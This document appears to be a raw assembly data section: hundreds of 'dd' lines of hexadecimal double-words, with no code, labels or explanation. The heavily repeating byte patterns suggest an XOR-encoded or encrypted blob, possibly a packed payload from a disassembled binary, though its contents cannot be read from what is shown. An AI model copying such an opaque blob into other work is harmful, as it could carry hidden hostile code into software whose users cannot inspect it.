		dd 0AEB13257h, 57B1CEAEh, 7C315236h, 0B4EB6203h, 0EAB135BFh
		dd 82F35C56h, 42B6BA41h, 52B13237h, 0AEB133DFh,	57B1CE56h
		dd 0CBB132AFh, 0B448FADDh, 0E5D13256h, 75B12BDDh, 0BAA2DA56h
		dd 84473256h, 362C709Ah, 0F793BFA4h, 422DA384h,	0CBECDA36h
		dd 55BE69ACh, 75B153A0h, 0BAB0B859h, 5D443256h,	0AEB1CB56h
		dd 58B132A3h, 0ABB122DEh, 0DF393D56h, 3B13256h,	75B13253h
		dd 98DC7490h, 3DB13216h, 0DE85D9D7h, 0DEBE353Bh, 0ABB13254h
		dd 3CD06D06h, 0EAB1325Fh, 5261A90Ch, 0D7E54B13h, 52B1322Eh
		dd 0AEB124DAh, 57A0DB56h, 0BEFD3256h, 44883138h, 0AD7362EFh
		dd 6D0492ADh, 0BA8A603Eh, 0DCD75256h, 2FFB7AB7h, 79988D80h
		dd 0ABB1534Dh, 2B3A5436h, 0E5B13237h, 75B133DCh, 0BAB1CA56h
		dd 5DA7BB59h, 0BF583256h, 7FB13256h, 0BD8BC069h, 51AEAB2h
		dd 0ED02CAC1h, 92C2ED2Bh, 0B5D13256h, 5DB131DCh, 5D3A5456h
		dd 4E6FB330h, 21BE5340h, 0D5B13253h, 3D0E3D36h,	15B13237h
		dd 0DBE6A06h, 5DB15394h, 0CEB132AAh, 57B123BFh,	7F6FCA56h
		dd 6562A6Ch, 0E61E4746h, 0C47808D1h, 2D7C0EBh, 5DD0AD6Ah
		dd 0AEBDDB56h, 37603256h, 51D59056h, 0BD672208h, 0EAB191C6h
		dd 0CC1A8836h, 0D6044D1Fh, 0A4B13237h, 2FD13256h, 0ADB99C98h
		dd 0CA11863Dh, 6CD13256h, 0F8FAF17Ah, 7AB13237h, 0BAB122DDh
		dd 57363D56h, 47B13256h, 57B13253h, 0B67C269Ch,	29B132EEh
		dd 8CD13256h, 0DF95FBD7h, 0DB7BB930h, 5DA4BA59h, 0BE583256h
		dd 7FB13256h, 0B759DBE2h, 0F8388431h, 2203BF54h, 75037EA5h
		dd 0BF353D56h, 3DB13256h, 0CF79B930h, 45583256h, 8B13256h
		dd 0D6E987B6h, 0C6CFB895h, 4FB6E88Dh, 546AD21Fh, 3DB13289h
		dd 543A52AAh, 0DF6EB330h, 0ABD05341h, 0D5BCDB56h, 5B893256h
		dd 73BEDA8h, 28030DBEh
		dd 5DD96A62h, 0B6353D56h, 37B13256h, 0ABB123BFh, 31D4FF56h
		dd 2C152FB7h, 0A87A7584h, 7B484B56h, 5DD0377Dh,	0AE49C756h
		dd 57B1CA56h, 0ABBBB959h, 5FD13256h, 0EA353D9Eh, 14B13256h
		dd 0BD583256h, 96B13256h, 65443F18h, 57B177FDh,	0ABB0BC59h
		dd 0D5493256h, 0EAB1CB56h, 75BCB859h, 0B2583256h, 42B13256h
		dd 6B3ECA55h, 0BE312C55h, 0ABB13247h, 0E79B12FAh, 0D1208F7h
		dd 73636D62h, 59B20A7Ch, 3DB132C1h, 104E8D59h, 4856DD14h
		dd 5EB13237h, 2D483256h, 0E5D13256h, 75B130D2h,	31EE6556h
		dd 0DDD15391h, 0AED010BFh, 563D3D56h, 5EB13256h, 0B5B132AFh
		dd 0EAB7B759h, 96303256h, 0A08984F7h, 3DB13237h, 473194E4h
		dd 57B1534Bh, 0ABB139BFh, 0A2856D56h, 0AFAAA1AEh, 87656403h
		dd 0B1583256h, 0BDB13256h, 54DDB548h, 3EAFD8C0h, 0ABB148C6h
		dd 0B5B132A3h, 0EAD090E4h, 75B8DB56h, 0FBC73256h, 9198BAFh
		dd 0AE1C6714h, 57BDDB56h, 3F693256h, 0CC8DD443h, 5CFFE001h
		dd 75B1E584h, 0BAA3B959h, 0B4D13256h, 0AEB1325Fh, 68991E73h
		dd 4FA708A4h, 0B4D0528Eh, 0E5D13256h, 75B124DDh, 0BAA0DB56h
		dd 45063256h, 0B84298ACh, 0DEAFB835h, 6FDBEF93h, 54C3557Eh
		dd 5D40CABEh, 75B15372h, 0B5B132AEh, 5DB136D3h,	0F4005256h
		dd 0AEB13237h, 23BE3256h, 0D5B1325Ah, 0EAB7BA59h, 0FABE3256h
		dd 0BAB13256h, 5B583256h, 88B13256h, 9E3C712Dh,	0CBB13294h
		dd 2F3A5436h, 0EAB1B859h, 9CD03256h, 0BAB13246h, 5D2BC9C7h
		dd 51232D4Ah, 4B8BD2B4h, 0BDF6454Fh, 0B5B13237h, 86D8830h
		dd 15B13237h, 0BAB153A3h, 5DB121BFh, 53BF9256h,	0C79A6444h
		dd 0E361845Ah, 5D9F9278h, 1ED1612h, 754D3256h, 0A3373D56h
		dd 0B4B13256h, 0AEB13242h, 9E0DAFA8h, 8F824F05h, 0C6CC418Bh
		dd 0BCDCC06Eh, 76FEA74Ah, 3CBE3256h, 5DB1325Ah,	0AEB7B559h
		dd 0D3BE3256h, 0ABB13256h, 59BE3256h, 0EAB1325Eh, 0AC305436h
		dd 0DB482EAFh, 5A583256h, 0E9B13256h, 4F0492ADh, 0BB58603Eh
		dd 4CB13256h, 1455AE20h, 0AB2891C2h, 0D8909E5Dh, 5D189E05h
		dd 0AEBBDB56h, 79993256h, 46992896h, 0B2D671E3h, 0EAB123BFh
		dd 10BB8356h, 0F4686A2Dh, 94AC1625h, 0B5BCFEE4h, 57B1A359h
		dd 0ABB137BFh, 0F81D8556h, 0EA493551h, 723C3D56h, 0DAB13256h
		dd 3D76B930h, 0AEB15337h, 57B9B159h, 2ABE3256h,	0D5B13254h
		dd 0EAB15336h, 653E3D36h, 52B13256h, 5DB1325Ch,	46E18D2Eh
		dd 7A26997Bh, 0CDEB0CC6h, 0D5D0F8DDh, 0EB3C3D56h, 89B13256h
		dd 464D3256h, 5DA1DB36h, 30803256h, 0C98E9662h,	9D2AC2ACh
		dd 0CA82ACC0h, 0EA59EF35h, 2FB13256h, 13F1D8D7h, 4D583440h
		dd 0A3B13256h, 0D5CEFB56h, 18F80DD3h, 6F1CADD0h, 8A644FC3h
		dd 75B137BEh, 0F5B09D56h, 0E3D76169h, 15EA8ED3h, 6170AB75h
		dd 9A34BF37h, 2DB727CCh, 0EAA1BB59h, 7E583256h,	10B13256h
		dd 0BEDD2C21h, 66A92718h, 0D538EA6Fh, 0ADA7A0BFh, 32305436h
		dd 68BEC166h, 75B13254h, 37D05336h, 4AC91DD4h, 2C38C750h
		dd 51A7A15Ch, 9C5ADAAAh, 0DAD13256h, 0EAB136DAh, 4A0E5456h
		dd 0BB3A3D1Bh, 0A4B13256h, 0AC62DA37h, 5E583256h, 13B13256h
		dd 68C5B689h, 0E3D76401h, 75ADBB59h, 4D13256h, 5EC58EF9h
		dd 0AEB13DBEh, 0E28F5F56h, 87264600h, 0C6420F14h, 77991800h
		dd 0F776530Eh, 0BCA7A3A8h, 5DB13256h, 0AEB0B659h, 5493256h
		dd 4E34F4A3h, 83B72275h, 0E30F5436h, 5159B22Ah,	2E35A37h
		dd 0A24DAEFEh, 0BEAC77E3h, 5D363D50h, 0CBB13256h, 6E99F5D6h
		dd 0DAE9B05Ah, 0FF34BF37h, 4FB721D3h, 5261CDAAh, 0AEB13ED8h
		dd 513F3D56h, 0A4B13256h, 0D5B132D3h, 0EB34BB56h, 15B72249h
		dd 53AADAD6h, 5DB1325Bh, 0A26F92A8h, 2AEFA352h,	1B21CD46h
		dd 0D1DB5360h, 0EAB120BFh, 739E1456h, 0D647C9FBh, 2F09532Dh
		dd 2B7CDE68h, 3FBCB826h, 0ABB12256h, 5ED76136h,	5EE06AA4h
		dd 1DD06A9Eh, 0BAB23F16h, 6D47B336h, 0C8C7C069h, 36BB2FE8h
		dd 0CBD1323Ch, 0D5B122BFh, 0C9A97456h, 0AD21319h, 0CEA6E1EAh
		dd 0DDD664F0h, 0CFB782A4h, 57B139BFh, 0D7B18856h, 0D33334ACh
		dd 0EB2CA70Ch, 1561CD37h, 0BAB13DBFh, 0AECCA156h, 4BD12E85h
		dd 8B29B59Ch, 0D91A501Fh, 1E0E3D01h, 0E5EB530Ch, 75B135DFh
		dd 0BB3B3D56h, 0A4B13256h, 2ABEF25Dh, 57B13325h, 7D305436h
		dd 5CD0D114h, 0FC20CCD4h, 0F738CE50h, 0BCA7A072h, 5DB126BFh
		dd 0F2B456h, 94C2C94Eh,	0BB3E2F6Ch, 249ACF27h, 11E63AA6h
		dd 72585246h, 0F2B13256h, 7830F1C6h, 25D77D51h,	170853AFh
		dd 0A4B1315Bh, 0D5B133D9h, 123ACA56h, 0FD5BB336h, 5385F4E5h
		dd 5DB1325Ah, 2765F163h, 2AA4E7B5h, 0A7744C03h,	0D5A5DB37h
		dd 32473256h, 94AEB36Bh, 247CD50h, 5F1F3F67h, 0CB5E4706h
		dd 9782C498h, 0ABBBB359h, 5FD13256h, 0EA343DAFh, 14B13256h
		dd 3ABE98A5h, 5DB13257h, 0A20052AFh, 0D9BE6037h, 0ABB1324Bh
		dd 0D5A6B359h, 0F8583256h, 91B13256h, 0CE75047Fh, 47F40C2Bh
		dd 0E158C7ADh, 0B582241h, 57B558E8h, 0D5A1323Eh, 0FF3B3D56h
		dd 15B13256h, 0BAB13EBFh, 376D1156h, 2729B8DBh,	0C7E9FED9h
		dd 0CAD052A5h, 0D5B5323Eh, 0ED323D56h, 15B13256h, 0DBE6B06h
		dd 4D5853A6h, 9AB13256h, 79A97975h, 8EA09DA6h, 8AF69441h
		dd 803F70D9h, 893B5256h, 0BAB7B359h, 0D6BE3256h, 0AEB13256h
		dd 5623CD37h, 57B72249h, 0D5B0B559h, 0B0493256h, 75BDB859h
		dd 31BE3256h, 5DB13250h, 0AEB1B959h, 0DE483256h, 0BD246AD4h
		dd 0C03D3D50h, 0E5B13256h, 75B13DD4h, 0BABBDB56h, 700B3256h
		dd 5FFA2823h, 0FD6D5146h, 0ABB13CBFh, 0EE81FF56h, 0BCEC828Bh
		dd 0BB4EFCDAh, 0DB928A3Eh, 5DB134BFh, 737BC956h, 0DC0628DFh
		dd 0BD20CCD3h, 62BE5250h, 0D54A8889h, 0B6D0253Eh, 7D4452AEh
		dd 4DBAA7D4h, 0EEB13250h, 503B3D56h, 0A4B13256h, 0D5B133DAh
		dd 6876CA56h, 73A11BA7h, 0BAB12256h, 5DB13EBFh,	25609256h
		dd 0CEDA4458h, 6D779200h, 5EBE534Ah, 0EAB1325Eh, 75B3B759h
		dd 0DBD13256h, 45383D95h, 0A1B13256h, 57B120D5h, 0ABBCDB56h
		dd 47233256h, 3D50AC82h, 9642AEEh, 0DA7B8F2Fh, 5DBEB459h
		dd 0A4583256h, 6DB13256h, 2F6AF459h, 8BDA8F36h,	140BB901h
		dd 8CB724C7h, 0B5B10DD5h, 5DB197D2h, 0AEBBDB56h, 2AEE3256h
		dd 6FC06BF1h, 0E05BD5FFh, 0E8A14DD5h, 758AB659h, 32BE3256h
		dd 5DB13257h, 0BECEB1A3h, 5353D52h, 0A4B13256h,	0D5B133DFh
		dd 2D32CA56h, 75B8DB42h, 7A063256h, 19064ADBh, 47CE9923h
		dd 0A84ECDE6h, 0ABB6BD59h, 50BE3256h, 0EAB13257h, 65F6F5AFh
		dd 0BAB13257h, 520B5436h, 0AD313D77h, 31B13256h, 42D0F9DDh
		dd 2A4ECD94h, 0EAB13ABFh, 16565A56h, 1975F1F3h,	4DF6F55Fh
		dd 0AEB13255h, 8E063D36h, 2E43B330h, 4A585350h,	8A4ECDA9h
		dd 0CB13DEEh, 0BAB6DB1Fh, 0D9983256h, 6D45EB58h, 37D053D3h
		dd 0CA4DC3DDh, 6ED75295h, 55BE4B1Dh, 655853AFh,	0D1B13256h
		dd 0ECEAAA4Ah, 0B3D321E9h, 29AF8BF1h, 0FEFB300Eh, 0D5B13ABFh
		dd 0A4B34656h, 613A15B0h, 425DB9FAh, 4B353D36h,	0A1B13256h
		dd 57B122DCh, 0ABBADB56h, 94473256h, 5898BA2Fh,	57A673BAh
		dd 0BAB1DAC4h, 0DCEB3256h, 0B81F15BCh, 57BFDB50h, 0BD733256h
		dd 0F761022Ah, 0F87B9C53h, 45BD981Bh, 0BAA5DB36h, 0FFA93256h
		dd 7F7648DAh, 0AF539596h, 2892DE82h, 1DDBBBDBh,	61D09CCDh
		dd 632456E4h, 0B6303D50h
		dd 52B13256h, 0AEB134DAh, 57303D56h, 20B13256h,	5EBE3A13h
		dd 0EAB13257h, 89B7BBAEh, 38325336h, 5BA7A732h,	0CED0CE52h
		dd 57B138BFh, 213F2B56h, 6442A90Dh, 0E5026FF1h,	75B131D5h
		dd 8877B256h, 0D6BEFB37h, 0AEB13257h, 57B5F0A3h, 0ABA5DB36h
		dd 0EF313256h, 910DF6Ah, 8673B67Bh, 0FA965718h,	0CCDD269Dh
		dd 0CF443340h, 5759CB36h, 0F1B13256h, 7B65D8D7h, 2D13440h
		dd 75B1325Bh, 7441B564h, 64A23E8Dh, 9031F1D7h, 0A8063D04h
		dd 75063D09h, 0B3D1CB37h, 5FD9D5D7h, 75B4BF59h,	7C093256h
		dd 3C89C82Dh, 3BE980DDh, 0DCBE3440h, 0ABB1325Eh, 0D5393D36h
		dd 8BB13256h, 0E0D5806Dh, 3EBE3440h, 5DB13057h,	0AEB13FBFh
		dd 5E95C56h, 0D5ED9B1Dh, 4E0BC158h, 2D1F226h, 75B13244h
		dd 0A9D14891h, 0C971DA5Bh, 9B47200Bh, 8F647E1Ah, 16018B84h
		dd 0B462B909h, 61440CDDh, 0C3BECA89h, 0ED13319h, 3C46B94Dh
		dd 0AFF6C4AAh, 13343DD6h, 52B13256h, 0D5B0BE59h, 0E9493256h
		dd 75B9DB8Fh, 24313256h, 0ACE1ACA3h, 0E45893B9h, 0BEB13256h
		dd 0ABB13242h, 0D02A0759h, 0F001369Bh, 96D1D82Eh, 60847F4h
		dd 0DE8CA093h, 0AEB138BFh, 0A2267156h, 3FFA7D3Bh, 0FEBB5FE8h
		dd 0F03C3D8Fh, 7AB13256h, 0BAB126D0h, 5DBEDB56h, 0C1463256h
		dd 0DB2F0B70h, 0A2E66440h, 3334A1F4h, 0E5D171BAh, 75B131DFh
		dd 633A5456h, 5DB126BFh, 24489256h, 0B71F891Ah,	0AE874A80h
		dd 18AF142Ch, 0F4032159h, 0F8BE5377h, 0BAB13249h, 5DA8BC59h
		dd 0BA583256h, 23B13256h, 13702678h, 701AD904h,	0F40B7E0Dh
		dd 247B25EFh, 0F9EEE295h, 0DCEA6536h, 126999Fh,	0D23A530Eh
		dd 0ADA11FB3h, 0D5B138BFh, 0D91FFE56h, 0EC005F79h, 31F844BAh
		dd 4D996FDBh, 68315250h, 0E8BE6124h, 90D06880h,	0AE333D8Eh
		dd 0E5B13256h, 75B125DFh, 0B0595256h, 6FB13256h, 1AA62114h
		dd 895F4A88h, 2AD76DA4h, 0B444159Eh, 6DBEEB6Dh,	75B13200h
		dd 0BA333D36h, 0A5B13256h, 0AA77B137h, 5840B836h, 0ABB134D2h
		dd 0B751B356h, 8BDB9C19h, 8A4F49BFh, 3BD752A9h,	0E28AF784h
		dd 0A95A3074h, 0D6075237h, 0ABB138BEh, 0B5237456h, 6985C9ADh
		dd 9C0D92BAh, 0BAB13246h, 0F4A35C74h, 566BF003h, 57CE654Ah
		dd 1AB4351Dh, 1A8A530Fh, 0EAFAB659h, 61583256h,	0EB13256h
		dd 7B994FB0h, 0D412AD8Ah, 69D62602h, 482A19D9h,	5C6A4039h
		dd 0FA996FEBh, 75B9DB50h, 0B5BB3256h, 47599540h, 5758B616h
		dd 0BE4ECDABh, 0ABB13242h, 188AF2C3h, 359C263Ch, 300E61B5h
		dd 91BB65D7h, 0E84F5502h, 0AB5853AFh, 0BFB13256h, 0DB4B2C0Bh
		dd 0D4393D95h, 1FB13256h, 75A1DB36h, 0B18F3256h, 0B149F81Ah
		dd 209D1191h, 33E75791h, 0AB59F678h, 8FB13256h,	5BE9D8D7h
		dd 9DD13440h, 0BAB13253h, 59487086h, 0AEB7DA7Ah, 40063256h
		dd 0EA705D1Eh, 5ED76A0Fh, 0FA5853ADh, 0B4B13256h, 0B7761423h
		dd 292E25A2h, 2BF479F8h, 0DC31E4EEh, 0BD246AECh, 0DE323D50h
		dd 8AB13256h, 0F4778559h, 0BA5CCB8Ch, 0DDD1530Ah, 23BEC198h
		dd 57B13253h, 0C9498FE8h, 0D5085338h, 3B13257h,	75B1325Eh
		dd 5A6F1E85h, 0BE39D130h, 0CED1F265h, 0E7C68A30h, 0ABB13DBEh
		dd 75D60456h, 60DDC537h, 56CFB9B7h, 30BA9EC3h, 3C485308h
		dd 0A1D199A5h, 57B122DAh, 0ABBADB56h, 5F6F3256h, 0CC91AA5Dh
		dd 587F1812h, 4D3A5457h, 0D6D75237h, 5F3A5489h,	0F33B937h
		dd 0A4B724C3h, 0D5B135DBh, 0EB3A3D56h, 8CB13256h, 0BAB0BA59h
		dd 0D44D3256h, 0B82456D4h, 57A1DB50h, 7B403256h, 2C23FB6Bh
		dd 71F44B62h, 778AED63h, 43D0384Dh, 463A3D95h, 0CEB13256h
		dd 57B13CBFh, 1824CA56h, 0FFEECE44h, 0A82BDF01h, 7AB9473Dh
		dd 0BAB132DEh, 3DD15356h, 0CF768559h, 57B132BEh, 41306856h
		dd 0D3A78024h, 0EABBDB36h, 0D6813256h, 2C493603h, 30AEEF8Eh
		dd 0CFEADCD6h, 57B7DB36h, 133256h, 864A0A64h, 0EAB120BEh
		dd 0CB505556h, 9B244446h, 0A44133Fh, 0C326D908h, 0D641E5BFh
		dd 0E0FBA78Eh, 2DD06C2Eh, 0C954B790h, 8CE73446h, 0A5DC0B3Eh
		dd 533C3D82h, 47B13256h, 57B1325Fh, 32D209F8h, 385D6C48h
		dd 0E75852C7h, 0E6B13256h, 513B8C2Dh, 36ED9655h, 9483DFE9h
		dd 0A8D0CADDh, 0BBAC77E3h, 163A5250h, 0EAB13EBEh, 1F204A56h
		dd 0CDD5136h, 0FAD5E726h, 6740B340h, 0CB8AFB0h,	2134BF37h
		dd 0DAB721D3h, 0EAB134DEh, 7A4D5256h, 45D0C2E1h, 0B4E3CE86h
		dd 0AEB1325Ch, 9419ECF2h, 2E5B258Fh, 0B5E165C1h, 8CEBCA06h
		dd 14DBA5EEh, 0BA31323Eh, 49585256h, 0B1B13256h, 0FE1BA9h
		dd 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 9C53340Ch,	0BAB1325Fh
		dd 0E4E394AEh, 0AEEC5085h, 57DB53AFh, 0ABB13BBFh, 0C97F1956h
		dd 0EE8E23Bh, 0C74ECCF3h, 0BCA7A3A8h, 5DB121BFh, 0F1F95556h
		dd 0EEB7B1D0h, 0C9186BB9h, 49C7AB1Dh, 4925CCB2h, 0FABEE2A9h
		dd 0BAB1325Dh, 0CF51B236h, 0AEB1BA59h, 0FD03256h, 0ABBFB659h
		dd 0DC583256h, 0FAB13256h, 7438C0EAh, 83CE3437h, 3B495236h
		dd 0CF5481ECh, 57B122BFh, 5DEC2256h, 0F0606018h, 9AC6AE81h
		dd 8BE1777Ah, 0DAEB533Eh, 3B12EDD7h, 0C6D055BFh, 57B1B256h
		dd 52063D36h, 0DB5853AAh, 3B13256h, 4404994Dh, 6B966ED6h
		dd 878999F6h, 0A1B15810h, 57B13EDFh, 0AD373D56h, 0DAB13256h
		dd 0EAB132D4h, 2D03CD56h, 0DAB724C3h, 5DB123BFh, 0F15B8356h
		dd 5469BE5Eh, 0E4956715h, 0CF2A26CEh, 15D003A7h, 13495286h
		dd 0DBD909EFh, 136AB236h, 0AEB138BFh, 1267C56h,	907F22F0h
		dd 0B4E23095h, 1372C737h, 993ACB03h, 5BEC736h, 0A4D153AFh
		dd 0AEB132BEh, 0BD306856h, 0ADA78638h, 0D5B13ABFh, 7FD1DE56h
		dd 0C4843Dh, 0BABCDB24h, 59DC3256h, 9CE86486h, 0F5BFCD58h
		dd 20C44DA4h, 59BE3A23h, 0EAB1325Eh, 75B3B059h,	0DBD13256h
		dd 5DBE34BEh, 47E4C756h, 57B1325Ch, 3DCE0F40h, 24580D33h
		dd 784E7BF0h, 73A7A0BFh, 3CBE6FAEh, 5DB13257h, 0A2C409AFh
		dd 0A863B759h, 5E48CDA9h, 0D5BFE4BEh, 20305256h, 1297AEC3h
		dd 0B5D15337h, 5DB134DAh, 0AE353D56h, 31B13256h, 62D0C9DDh
		dd 0E870B336h, 60807D79h, 0B74853B3h, 0AA58325Eh, 0B7B13256h
		dd 86F32B37h, 5C956333h, 9FFBCC74h, 80D9D8E6h, 0EAB123BFh
		dd 25681056h, 0A9AD66F4h, 9C21645Fh, 16B03C4Ah,	5E583144h
		dd 8AB13256h, 0C700B6DCh, 0ECCCFE54h, 7AD1DEDDh, 0BAB132DCh
		dd 9E063D56h, 5275B137h, 57A0B159h, 42D13256h, 0D5B1325Eh
		dd 0D3CD279Ch, 2CAB4172h, 0ECD0F3DDh, 8E305436h, 663AA499h
		dd 58D16537h, 0ABB132DFh, 0D6353D56h, 0E5B13256h, 26D0FBE9h
		dd 0BAB1DAAFh, 0DCEB3256h, 0B804B5BCh, 56343D50h, 5EB13256h
		dd 0D5A2BB59h, 0E4583256h, 5BB13256h, 0FD1B04C1h, 0ACE91105h
		dd 400CC731h, 5FC4B99Fh, 0BBCCB9AEh, 0D5B138BFh, 0B15D7E56h
		dd 828BEF83h, 0ED40D229h, 5DB121BFh, 0DFD60F56h, 21E3175Ch
		dd 2C86BAF1h, 0D0165BE9h, 3BF59147h, 75A3DB00h,	522F3256h
		dd 24CCF2Dh, 0C16FA773h, 1766CB51h, 0A5F294CDh,	0D5B04BBEh
		dd 2ABACB56h, 7575B659h, 31483256h, 0B4E4CBAEh,	0AEB1325Ch
		dd 0A85E1D13h, 0F47CDC2Fh, 474EE623h, 0ECA7A0BFh, 0F1BE6136h
		dd 0BAB13256h, 2E52B20Ch, 0A1D16F37h, 57B13FDBh, 0ABB6DA56h
		dd 0F46C3256h, 54F63DF7h, 0F4D76A68h, 0DB5285B9h, 52BD476Dh
		dd 0AEB14BD2h, 0DCD7C756h, 0AA3C3D48h, 29B13256h, 1341D5D6h
		dd 75B121BFh, 2EC96656h
		dd 0FF794923h, 0A802FB0Ah, 7E7C5A3Fh, 9F6AA45Bh, 0DF582CDCh
		dd 32B13256h, 444FF904h, 19573CDh, 0AD52B250h, 0AEB122BFh
		dd 7F6D9B56h, 0B2023899h, 67D4A8Ah, 3C1E6DF1h, 5230DAEBh
		dd 0D13256h, 8F595C3h, 2774F8D7h, 0BED0757Ah, 544ECD59h
		dd 0D5B13FBFh, 4A8C0356h, 49B14831h, 51AA1B45h,	2038FE04h
		dd 0AEBEDBAAh, 59F43256h, 0F6B76D9Eh, 41A4E00Ah, 72E87E46h
		dd 8390DAB8h, 0B458CDA9h, 30B13256h, 3F43860Dh,	50074FEAh
		dd 0FF0EEE10h, 61D1698Dh, 193A5477h, 75B4DB37h,	2C013256h
		dd 276AD36h, 0AEA1BE59h, 0D8BE3256h, 0ABB1325Ch, 0D5B137BFh
		dd 56524856h, 8CEF1F81h, 0BAA7B959h, 0B5D13256h, 0AEB1325Fh
		dd 0DAB73D2Ch, 0F836D938h, 54D76A35h, 8B5C9FB9h, 7A4D77DDh
		dd 0BAB135D3h, 5C333D56h, 56B13256h, 0D6BE529Fh, 0ABB13254h
		dd 54BEEADDh, 0EAB13254h, 7AD0FDDDh, 0BAB133D9h, 5173CA56h
		dd 60305256h, 77E83279h, 0CBE453AFh, 0C75A8BAEh, 8AD0357Dh
		dd 75B4BE59h, 3BD73256h, 3BEC26A0h, 0E85DC3D7h,	0A25DB937h
		dd 5249F6D5h, 0D5B9DB01h, 574E3256h, 0CE5E776h,	0A958FD73h
		dd 2BB13256h, 3CCF2AEDh, 2A32E19Eh, 902DC935h, 15655EFFh
		dd 3E7CE96h, 75B1325Dh,	0E0D96269h, 8FECE631h, 0FFB0B8DAh
		dd 57B0BD59h, 0CB443256h, 657BB930h, 12E2530Bh,	75497791h
		dd 43B13256h, 0C961B091h, 0AEB03440h, 0DEBE3256h, 0ABB13259h
		dd 0D5B138BFh, 33955D56h, 0B49CBC64h, 31109041h, 3BD13A23h
		dd 3A50C4D7h, 9C3A5436h, 0CAD05336h, 0DAAFB930h, 0EAB133DDh
		dd 0CF3ACE56h, 0BCA7A3A8h, 5DA4BE59h, 47D13256h, 57B1325Ah
		dd 78385691h, 97DC54A4h, 752BBA62h, 8DD0EDDDh, 0DAB96DDDh
		dd 3C7787A3h, 2ABEE95Dh, 57B132D5h, 0AD313D36h,	54B13256h
		dd 0BFD8A180h, 73333D24h, 3BB13256h, 0E4F95580h, 708A534Ch
		dd 578EB759h, 2CBE3256h, 0D5B1325Ah, 0EAB7B959h, 0F8BE3256h
		dd 0BAB13256h, 0A8BD6FDDh, 0AB3E3D36h, 31B13256h, 85FDC2D7h
		dd 8A3853AEh, 64BECA5Ah, 75B13247h, 5257B836h, 5DB13251h
		dd 0B12E1A5Ah, 80C5169h, 0BF76B137h, 2A37DBA3h,	68BECDA9h
		dd 75B13245h, 0BAB8DB36h, 0AE733256h, 0EE965718h, 58DD269Dh
		dd 0CDD0F8E1h, 0B5492CDDh, 0EAB138BEh, 68AAF956h, 672A9FF0h
		dd 0D6CA9B86h, 503A6DAEh, 0BF4AB237h, 0A82CB659h, 2CD13256h
		dd 7DCF8A36h, 0F4D72E7Bh, 0DB5CF68Fh, 0A631CE37h, 2A353DBFh
		dd 58B13255h, 0ABB13AD4h, 0D7383D56h, 8AB13256h, 9E4AB237h
		dd 0B9DCB659h, 0DABE3256h, 0AEB13241h, 57B120BFh, 0C4F71A56h
		dd 18D8169h, 2BA1CDC6h,	99B50BCAh, 3AA43765h, 0D9BED0ADh
		dd 0AEB13168h, 0B44AB2A3h, 0A8A6B659h, 5FBE3256h, 0EAB13257h
		dd 8E3054AEh, 3EBED131h, 5DB13174h, 0AF353D36h,	0AEB13256h
		dd 510E3D06h, 3231530Dh, 0F2333DA6h, 9CB13256h,	0BAB13245h
		dd 9E586306h, 0EBAD14BEh, 0D26F3996h, 5C988515h, 0B36CD372h
		dd 6ABEC9D7h, 7740B659h, 36BE3256h, 5DB1324Fh, 0AEB126BFh
		dd 0CB87C56h, 32521F46h, 0CDD25EC8h, 0C52E0AC0h, 8AF1698Fh
		dd 4A52B216h, 71B336h, 0C8FF482Ah, 37D0CCDDh, 0A4D146E5h
		dd 2131CAE1h, 6AD05389h, 0F1BE42ADh, 0BAB130F9h, 5DB121BFh
		dd 0ED547956h, 0F631FE01h, 0B6A600EEh, 4855A31Ch, 0C89C9B8Ch
		dd 9CAFB930h, 0BAB1325Ah, 4E325B15h, 0BA0C79F0h, 35853E38h
		dd 0CB49D1D6h, 6D4AB237h, 0EB74B659h, 9CD13256h, 0BAB13258h
		dd 6E327BB9h, 3861F604h, 62319216h, 7C308A60h, 90443D4Dh
		dd 0EF8FB237h, 7410B659h, 3AD13256h, 3BE3A3BBh,	0CFEAE5DDh
		dd 589C0CD6h, 0ABB0BCD2h, 6ABE5256h, 0EABADBADh, 23453256h
		dd 8D4433C3h, 91C2643Ch, 9031532Ah, 27353D3Eh, 42B13257h
		dd 0D5B1325Dh, 0ACA85F91h, 0CF7CB958h, 0DAC418E3h, 0A8638559h
		dd 7E33CD37h, 37B724C2h, 0ABA9B559h, 0C6583256h, 0BEB13256h
		dd 0CD6B301Eh, 0C7CF8FD3h, 0FBCFF6A6h, 64007EDEh, 31D0A67Dh
		dd 43D12CDDh, 0D5B13251h, 0B96F83CEh, 2287125Eh, 3BD76908h
		dd 3C4AA2B0h, 5B49D5D6h, 57B6B559h, 24BE3256h, 0D5B13257h
		dd 113054AEh, 0F1BEDAD7h, 0BAB132A9h, 5DB13EBFh, 5915DE56h
		dd 0A56CAF6Fh, 41743656h, 0CB3A54FDh, 1C0E3D36h, 14468559h
		dd 0B541D5D6h, 5DB13EDDh, 0A8383D56h, 58B13256h, 0ABB132D4h
		dd 2E305456h, 6EBEF2D7h, 75B13295h, 0BAB9B659h,	0D0BE3256h
		dd 0AEB13254h, 0D6BE5336h, 0ABB13257h, 0C45852AAh, 5DB13256h
		dd 0FC15EC9Eh, 0A2E9B645h, 95211523h, 8E2742F7h, 3141B936h
		dd 0A1A1E2D7h, 54BE6737h, 0EAB13251h, 75B0B359h, 45443256h
		dd 4B23DBC4h, 0A7393D50h, 37B13256h, 0CD0ECBEDh, 0B449B93Eh
		dd 0EAA5DB0Bh, 630F3256h, 4CBA8A56h, 0BE2D71AAh, 78596168h
		dd 20C09866h, 0EE380CF9h, 0DD333DAAh, 8AB13256h, 0CFD76A04h
		dd 0DBD00F73h, 5DB13DBFh, 412B4A56h, 26808626h,	3DB1E67Ah
		dd 4A1415A6h, 0EB4D4FD5h, 7462B759h, 52D13256h,	5DB13246h
		dd 68171630h, 69F22Ah, 0DE3CA55Dh, 14A6042Ch, 89410BE8h
		dd 0CED76871h, 31D0B5EBh, 4DBAA7ECh, 0AF393D50h, 0AEB13256h
		dd 293AC706h, 0D3A7A686h, 0EAA3B959h, 9CD13256h, 0BAB1325Fh
		dd 101F2C3Fh, 0A02F9938h, 36EF6085h, 53810E6Fh,	0AF333D0Eh
		dd 12B13257h, 5756B336h, 30F0612Eh, 0E73A539Eh,	0A8A11BA7h
		dd 0A665B236h, 0FBD06D05h, 0B5EE6236h, 8C42B930h, 14D0FCDDh
		dd 2E61B0DDh, 64443440h, 2ABE026Ah, 57B13257h, 24BE6AAEh
		dd 0D5B1336Bh, 0EAB138BFh, 6CA11556h, 0F0206A95h, 0B49FC4ABh
		dd 0AEB13271h, 0AFF4F5AEh, 0ABB13254h, 0D5BBBC59h, 8CD13256h
		dd 420EFCDDh, 0DB9F961Dh, 5DB138BFh, 0EB76CA56h, 57B133AEh
